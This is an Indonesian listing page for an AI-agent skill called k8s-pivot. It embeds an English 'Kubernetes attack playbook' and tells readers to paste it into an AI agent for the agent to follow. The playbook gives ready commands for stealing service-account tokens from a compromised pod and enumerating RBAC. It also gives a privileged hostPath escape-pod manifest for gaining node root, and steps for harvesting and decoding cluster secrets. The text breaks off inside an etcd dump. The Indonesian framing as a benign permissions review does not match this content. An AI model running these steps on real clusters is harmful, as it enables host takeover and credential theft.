k8s-pivot
Fungsinya
Skill ini membahas bagaimana izin di dalam klaster Kubernetes dapat memungkinkan container menjangkau lebih banyak sumber daya. Skill ini untuk tim platform yang meninjau pengaturan peran klaster.
Kapan dipakai
- βSaat sebuah uji yang berwenang memiliki akses ke satu pod dan perlu melihat apa yang diizinkan klaster.
- βKetika Anda ingin meninjau binding peran dan pod istimewa.
- βKetika sebuah tim perlu tahu mount host atau dashboard mana yang menambah risiko.
Link skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda meninjau apa yang bisa dilakukan service account sebuah pod di klaster Kubernetes kami dan menandai izin yang berisiko?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent mendaftar izin yang dimiliki service account, memeriksa hak tingkat klaster, dan menandai kata kerja dan sumber daya yang berisiko tinggi.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod β steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV β read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
4. Pod escape β host root via hostPath
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
5. Secrets harvest
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
6. Container runtime escapes (when you have privileged pod or specific caps)
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod |
docker exec on host containers β host root |
/run/containerd/containerd.sock |
ctr cmd β escape |
CAP_SYS_ADMIN w/o user namespace |
Mount syscall β reread cgroups β release_agent |
CAP_SYS_PTRACE |
Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH |
Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
7. Pivoting from the API server
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP β once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/et
Pertanyaan umum
Izin mana yang paling berisiko?
Skill menyebut hak membuat pod, membaca secret, dan mengubah binding peran sebagai yang berdampak tinggi.
Apakah pod istimewa berarti host sudah disusupi?
Tidak otomatis. Skill menyatakan pengaturan seperti itu adalah konteks, dan admission control mungkin memblokir jalurnya.
Siapa yang sebaiknya memakai ini?
Administrator platform dan klaster yang meninjau pengaturan kontrol akses berbasis peran mereka.
Detail
Deskripsi asli dari pembuat
Kubernetes attack playbook β service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
Popularitas
- Bintang GitHub
- 6.5k
- Peringkat
- #13999
- Lisensi
- Apache-2.0
- Diperbarui
- 1/11/2026
Komentar
- β¦
Skill lain dari repositori ini
detector-overview
6.5kMembantu agent Anda membaca kode yang ditandai pemindai dan memutuskan titik mana yang benar-benar bug keamanan dan mana yang alarm palsu.
exploiter-overview
6.5kMembantu agent Anda menggabungkan beberapa kelemahan keamanan yang terkonfirmasi menjadi satu rantai uji dan memeriksa sejauh mana rantai itu bisa mencapai.
llm-redteam-overview
6.5kMembantu agent Anda menemukan panduan red-team AI yang tepat untuk sebuah uji, mencakup 15 kelompok taktik dari prompt injection sampai penyalahgunaan model.
aatmf-t01-prompt-injection
6.5kMenjelaskan prompt injection, yaitu instruksi tersembunyi yang berusaha mengalahkan sistem AI, agar penguji keamanan dapat memeriksanya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.